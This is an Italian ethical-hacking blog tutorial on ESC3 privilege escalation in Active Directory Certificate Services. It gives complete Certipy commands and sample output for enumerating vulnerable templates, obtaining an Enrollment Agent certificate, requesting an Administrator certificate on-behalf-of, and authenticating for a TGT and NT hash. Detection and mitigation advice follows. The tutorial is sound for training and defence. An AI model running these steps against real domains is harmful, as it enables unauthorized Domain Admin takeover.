windows

ESC3 ADCS Privilege Escalation: Exploit Active Directory con Certipy

ESC3 ADCS Privilege Escalation: Exploit Active Directory con Certipy

ESC3 ADCS Privilege Escalation: sfruttare template con EKU Certificate Request Agent per richiedere certificati on-behalf-of e ottenere Domain Admin con Certipy.

  • Pubblicato il 2026-03-07
  • Tempo di lettura: 2 min

ESC3 è una tecnica di Active Directory Privilege Escalation tramite AD CS che sfrutta i Enrollment Agent certificates.

Un Enrollment Agent è un account autorizzato a richiedere certificati per conto di altri utenti.

Se un attaccante riesce a ottenere un certificato con EKU:

text
1.3.6.1.4.1.311.20.2.1
Certificate Request Agent

può richiedere certificati per qualsiasi utente del dominio, inclusi Domain Admin.


Quando esiste ESC3 #

ESC3 esiste quando:

1 — Template Enrollment Agent #

Un template emette certificati con EKU:

text
Certificate Request Agent

Esempio:

text
Enrollment Agent : True
Extended Key Usage : Certificate Request Agent

2 — Enrollment aperto #

Il template permette enrollment a gruppi come:

text
Domain Users
Authenticated Users

3 — Template target disponibile #

Serve un secondo template che:

text
Client Authentication

E permetta enrollment agent.

Tipicamente:

text
User
Machine

(soprattutto Schema Version 1).


Identificazione con Certipy #

Enumerazione:

bash
certipy find -u attacker@corp.local -p 'Passw0rd!'

Output tipico:

text
Template Name : EnrollAgent
Enrollment Agent : True

[!] Vulnerabilities
ESC3 : Template has Certificate Request Agent EKU set

Indicatori chiave:

text
Enrollment Agent : True
Extended Key Usage : Certificate Request Agent
Enrollment Rights : Domain Users

Template target esempio:

text
Template Name : User
Client Authentication : True
Schema Version : 1

Output Certipy:

text
ESC3 Target Template

Exploitation ESC3 #

L’attacco avviene in tre step.


Step 1 — ottenere Enrollment Agent certificate #

bash
certipy req \
-u attacker@corp.local -p 'Passw0rd!' \
-dc-ip 10.0.0.100 \
-target CA.CORP.LOCAL \
-ca CORP-CA \
-template EnrollAgent

Output:

text
Successfully requested certificate
Saving certificate to attacker.pfx

File ottenuto:

text
attacker.pfx

Questo certificato ha capacità Enrollment Agent.


Step 2 — richiedere certificato Administrator #

Usando il certificato agent.

bash
certipy req \
-u attacker@corp.local -p 'Passw0rd!' \
-dc-ip 10.0.0.100 \
-target CA.CORP.LOCAL \
-ca CORP-CA \
-template User \
-pfx attacker.pfx \
-on-behalf-of CORP\Administrator

Output:

text
Successfully requested certificate
Saving certificate to administrator.pfx

Step 3 — autenticarsi come Administrator #

bash
certipy auth \
-pfx administrator.pfx \
-dc-ip 10.0.0.100

Output:

text
Got TGT
Got NT hash for administrator

L’attaccante ottiene:

  • Kerberos TGT
  • NTLM hash
  • accesso Domain Admin

Perché ESC3 è critico #

Perché un Enrollment Agent può:

text
richiedere certificati per qualsiasi utente

Quindi basta compromettere un solo certificato agent per controllare il dominio.


Detection ESC3 #

Indicatori principali:

text
Enrollment Agent : True
Extended Key Usage : Certificate Request Agent
Enrollment Rights : Domain Users

Audit:

bash
certipy find

Mitigation ESC3 #

Limitare enrollment agent #

Non permettere enrollment a:

text
Domain Users
Authenticated Users

Usare template V2+ #

Template moderni permettono restrizioni su:

text
Enrollment Agent EKU

Richiedere manager approval #

Template → Issuance Requirements:

text
CA certificate manager approval

Disabilitare template inutilizzati #

Molti ambienti mantengono template legacy inutili.


FAQ — ESC3 ADCS #

Cos’è ESC3? #

Una vulnerabilità che permette di ottenere un Enrollment Agent certificate.

Qual è il problema? #

Un Enrollment Agent può richiedere certificati per altri utenti.

ESC3 porta a Domain Admin? #

Sì, usando on-behalf-of enrollment.

ESC3 è simile a ESC2? #

ESC2 produce un agent certificate tramite Any Purpose EKU, mentre ESC3 usa un template agent dedicato.


Key Takeaway: se un template permette a utenti normali di ottenere un certificato Enrollment Agent, quell’utente può richiedere certificati per qualsiasi account del dominio.


Guida completa AD CS escalation: https://hackita.it/articoli/adcs-esc1-esc16Continua con: https://hackita.it/articoli/esc4-adcs · https://hackita.it/articoli/esc5-adcsSupporta HackIta: https://hackita.it/supportoPentest Active Directory o formazione offensiva: https://hackita.it/serviziRiferimenti tecnici: https://github.com/ly4k/Certipy https://specterops.io/blog/2021/06/17/certified-pre-owned/

#ad #adcs #certipy #esc

DIVENTA PARTE DELL’ÉLITE DELL’HACKING ETICO.

Accedi a risorse avanzate, lab esclusivi e strategie usate dai veri professionisti della cybersecurity.

Non sono un robot

Iscrivendoti accetti di ricevere la newsletter di HACKITA. Ti puoi disiscrivere in qualsiasi momento.